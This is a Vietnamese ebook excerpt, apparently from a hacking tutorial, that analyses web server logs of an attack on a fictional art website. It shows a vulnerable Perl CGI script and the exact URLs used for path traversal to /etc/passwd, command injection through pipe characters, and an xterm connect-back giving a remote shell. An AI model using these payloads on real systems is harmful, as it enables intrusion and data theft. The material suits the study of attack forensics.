1. Trang chủ
  2. » Công Nghệ Thông Tin

Hacker Professional Ebook part 200 pdf

6 117 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 6
Dung lượng 101,27 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Những người lập trình của Acme Art sử dụng Perl CGI script để xây dựng website trực tuyến và chạy nó.. Attacker ko duyệt theo đúng link của trang web mà thay đổi nó như trên , kết quả đư

Trang 1

Group (d)

10.0.1.21 - - [31/Oct/2001:03:04:10 +0530] "GET /index.cgi HTTP/1.0" 200 3008 10.0.1.21 - - [31/Oct/2001:03:05:31 +0530] "GET /index.cgi?page=index.cgi

HTTP/1.0" 200

358

Group (e)

10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] "GET

/index.cgi?page=/ / / / / / / / / /etc/passwd HTTP/1.0" 200 723

Group (f)

10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] "GET /index.cgi?page=|ls+-

la+/%0aid%0awhich+xterm| HTTP/1.0" 200 1228

10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] "GET /index.cgi?page=|xterm+-

display+10.0.1.21:0.0+%26| HTTP/1.0" 200

Chúng ta đi theo những chuyên gia để thấy hacker làm thế nào

Site www.acme-art.com chạy Apache 1.3.12 trên hệ thống Linux Những người lập trình của Acme Art sử dụng Perl CGI script để xây dựng website trực tuyến và chạy nó Những log files cho chúng ta thấy sự tấn công bắt nguồn từ địa chỉ

10.0.1.21 lúc 3:02 A.M., trước hết attacker duyệt trang web Những log files có năm mục đầu tiên (group a) chỉ ra rằng attacker đang xem trang chủ của website và

1 số ít hình ảnh trong đó :

Code:

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /yf_thumb.jpg HTTP/1.0" 200

3452

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /fl_thumb.jpg HTTP/1.0" 200

8468

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /th_thumb.jpg HTTP/1.0" 200

6912

10.0.1.21 - - [31/Oct/2001:03:02:47 +0530] "GET /mn_thumb.jpg HTTP/1.0" 200

7891

Nếu chúng ta tái hiện lại hành động của hacker , cho chúng ta nhìn thấy từ điểm của hacker đang duyệt web :

Figure 0-1 Acme Art, Inc.'s home page

Trang 2

Bốn mục tiếp theo của nhóm b được tạo ra do hacker click vào một số liên kết trên trang chủ :

Code:

10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /index.cgi?page=falls.shtml HTTP/1.0"

200 610

10.0.1.21 - - [31/Oct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640 10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /index.cgi?page=tahoe1.shtml HTTP/1.0"

200 652

10.0.1.21 - - [31/Oct/2001:03:03:18 +0530] "GET /tahoe1.jpg HTTP/1.0" 200

36580

Bức ảnh thứ 2 cho ta thấy attacker đã click vào link "Golden Sunset, in oil" từ trang chủ Acme Art's

Figure 0-2 Clicking on a link

Tại điểm này thật khó xác định chủ ý của hacker bởi vì anh ta ko làm gì khác

thường Mục tiếp theo ta thấy một sự thử truy cập vào thư mục /cgi-bin/ Web server từ chối yêu cầu này vì kết quả trả lại báo lỗi HTTP 403 error

Mã đáp lại :

Code:

10.0.1.21 - - [31/Oct/2001:03:03:41 +0530] "GET /cgi-bin/ HTTP/1.0" 403 272

Bây giờ hacker bắt đầu di chuyển Nó có vẻ như anh ta đã khám phá ra sự bất thường đầu tiên Trước hết anh ta xem URL : http://www.acme-art.com/index.cgi Một lát sau đó phát hành một yêu cầu cho

http://www.acme-art.com/index.cgi?page=index.cgi Attacker ko duyệt theo đúng link của trang web

mà thay đổi nó như trên , kết quả được trả về trên trình duyệt của anh ta (source code của file index.cgi bị lộ ra):

Trang 3

Figure 0-3 Source code of index.cgi disclosed

Màn hình trình duyệt chứa bộ mã nguồn của "index.cgi script!" Attacker thấy rằng index.cgi chấp nhận một tên file như một tham số trình bày nội dung của file

đó Anh ta sử dụng chính index.cgi để trình bày mã nguồn của chính nó Xem xét

mã nguồn của file index.cgi lộ ra chỗ yếu như sau :

Code:

01: #!/usr/bin/perl

02: # Perl script to display a page back as requested by the argument

03:

04: require " /cgi-bin/cgi-lib.pl";

05:

06: &ReadParse(*input);

07:

08: $filename = $input{page} ;

09: if($filename eq "") {

10: $filename = "main.html";

11: }

12:

13: print &PrintHeader;

14:

15: $filename = "/usr/local/apache/htdocs/" $filename;

16: open(FILE, $filename);

17: while(<FILE>) {

18: print $_;

19: }

20: close(FILE);

Chỗ yếu ở trong sự kiểm tra của những tham số được chuyển qua trên file

index.cgi Tên file được chuyển qua trong khi một tham số từ URL được bắt trong biến $filename dòng số 8 , nối vào đường dẫn tuyệt đối : "/usr/local/apache/htdocs" tại dòng 15 và được open tại dòng 16

Trang 4

Trong số các thứ xuất hiện đầu tiên từ attacker là khả năng khai thác những

arbitrary files (file hệ thống) trên Web server Và attacker đã thực hiện chính xác Những điều này được thấy trong những log files tiếp theo (group e) :

Code:

10.0.1.21 - - [31/Oct/2001:03:06:21 +0530] "GET /index.cgi

page=/ / / / / / / / / /etc/passwd HTTP/1.0" 200 723

Ở đây anh ta sử dụng trình duyệt để gửi yêu cầu

Code:

http://www.acme-art.com/index.cgi?page=/ / / / / / / / / /etc/passwd

File passwd được trả lại và được hiển thị trên trình duyệt (ảnh 4) :

Figure 0-4 Attacker recovering the /etc/passwd file from Acme Art, Inc.'s server

Nhưng hành động hack ko chấm dứt ở đây Một chỗ yếu ẩn dấu nữa được khám phá Sử dụng một số kiến thức của Unix và Perl Attacker thực thi một câu lệnh (arbitrary commands) đến Web server Hai yêu cầu tiếp theo được làm bởi

attacker (group f), minh họa khả năng này :

Code:

10.0.1.21 - - [31/Oct/2001:03:07:01 +0530] "GET

/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| HTTP/1.0" 200 1228

10.0.1.21 - - [31/Oct/2001:03:17:29 +0530] "GET

/index.cgi?page=|xterm+-display+10.0.1.21:0.0+%26| HTTP/1.0" 200

Thay vào đó việc cố gắng mở những file điều khiển (arbitrary files) Attacker sử dụng đặc tính pipe character " | " trong tham số file , đi theo những lệnh mà anh ta lựa chọn Bây giờ thay vì mở file , Perl mở ra 1 file handle , mà nhận đầu ra là được phát sinh bởi những lệnh chỉ rõ trong tham số Hai yêu cầu được gửi bởi attacker , trước hết :

Code:

http://www.acme-art.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|

Trang 5

Attacker chạy 3 lệnh Unix cùng nhau :

Code:

ls -la /

id

which xterm

Những đặc tính pipe characters quanh tham số "page=" Lệnh được phân ra với đặc tính HEX "0A," mà đây là line-feed character Ảnh 5 bộc lộ ra những cái gì được hiển thị trên trình duyệt của attacker :

Figure 0-5 Output of "ls –la," "id," and "which xterm"

Kết quả hiển thị cho thấy liệt kê thư mục root của server từ câu lệnh "ls -la /" , kết quả của việc sử dụng lệnh "id" từ file index.cgi , và đường dẫn đến xterm từ câu lệnh "which xterm" Attacker bây giờ có thể chạy những lệnh (arbitrary

commands) tác động đến Web server dưới quyền của "nobody" account Sau đó anh ta quyết định sử dụng xterm để kiếm quyền truy nhập (shell access) tới Web server Yêu cầu cuối cùng thu được trên Web server của attacker là dùng xterm để tạo một kết nối (connection back) tới hệ thống của anh ta bởi việc gửi yêu cầu sau : Code:

http://www.acme-art.com/index.cgi?page=|xterm+-display+10.0.1.21:0.0+%26|

Câu lệnh dịch ra là : "xterm -display 10.0.1.21:0.0 &." Lệnh trên xterm được thực thi tới cửa sổ xterm của attacker về địa chỉ 10.0.1.21:0.0 Ảnh 6 biểu hiện attacker thấy gì :

Figure 0-6 Attacker launching an xterm and gaining interactive shell access

Attacker bây giờ có sự truy nhập tới hệ thống của Acme Art, Inc.'s với mức đầy đủ

Trang 6

Web server log kết thúc tại đây , nhưng chúng ta đã học được cái gì chúng ta cần

Ngày đăng: 04/07/2014, 12:20

TỪ KHÓA LIÊN QUAN